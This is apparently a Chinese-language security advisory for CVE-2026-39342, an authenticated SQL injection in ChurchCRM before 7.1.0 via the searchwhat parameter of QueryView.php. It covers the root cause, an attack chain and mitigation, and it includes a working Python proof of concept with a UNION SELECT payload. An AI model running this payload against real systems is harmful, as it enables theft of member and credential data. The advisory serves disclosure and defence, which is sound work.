IPBUF安全漏洞报告
English
CVE-2026-39342 CVSS 8.8 高危

CVE-2026-39342: ChurchCRM SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39342
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRMWeb安全权限绕过CVE-2026-39342

漏洞概述

ChurchCRM是一款广泛使用的开源教会管理系统。在7.1.0版本之前,该系统被发现存在高危SQL注入漏洞。具体而言,当经过身份认证的用户访问“Data/Reports > Query Menu”下的“Advanced Search”功能时,攻击者可以通过操纵QueryView.php接口中的searchwhat参数,配合QueryID=15,向后台数据库注入恶意SQL语句。该漏洞利用门槛较低,仅需低权限用户账号且无需复杂的用户交互。成功利用此漏洞可能导致敏感数据泄露、数据完整性受损,甚至威胁整个服务器的可用性。官方已在7.1.0版本中修复此问题,建议受影响用户立即更新。

技术细节

该漏洞的根本原因是应用程序在构建动态SQL查询时,未对外部输入参数进行严格的类型检查或转义处理。具体受影响点是QueryView.php脚本,当QueryID被设置为15(触发“Advanced Search”查询逻辑)时,程序直接获取searchwhat参数的值并将其拼接到SQL语句的WHERE子句中。由于缺乏输入验证,攻击者可以构造包含SQL元字符(如单引号、注释符)的Payload,通过布尔盲注、联合查询或报错注入的方式窃取数据库中的敏感信息(如管理员密码哈希、教会成员隐私数据)。此外,鉴于CVSS评分显示机密性、完整性和可用性均为高影响,在某些数据库配置下,攻击者可能进一步利用堆叠查询写入WebShell,从而实现远程代码执行,完全控制服务器。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者需要注册或获取一个ChurchCRM系统的低权限用户账号。
STEP 2
步骤2:访问功能点
使用该账号登录系统,导航至“Data/Reports > Query Menu”,并访问“Advanced Search”功能,从而触发QueryID=15的调用。
STEP 3
步骤3:构造Payload
攻击者在QueryView.php的请求中修改searchwhat参数,注入恶意SQL语句(如UNION SELECT)。
STEP 4
步骤4:执行攻击
后端数据库执行注入的SQL语句,返回敏感数据或执行破坏性操作,导致数据泄露或系统被控。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target-churchcrm.com/QueryView.php" # SQL Injection Payload: Using UNION SELECT to extract database version # Adjust the number of columns based on the original query structure payload = "test' UNION SELECT 1, version(), 3, 4, 5, 6, 7-- -" # Vulnerable Parameters params = { "QueryID": "15", # Required to trigger the vulnerable query logic "searchwhat": payload # The injection point } # Authentication Cookies (Low-privilege user required) cookies = { "CRM_Session": "valid_low_privilege_cookie_here" } try: # Sending the malicious request response = requests.get(target_url, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response snippet:") print(response.text[:500]) # Check response for DB version or errors else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
如果无法立即升级版本,管理员应暂时禁用“Advanced Search”查询功能或撤销非管理员用户对报告菜单的访问权限。同时,建议在数据库层面开启严格的日志审计,以便及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表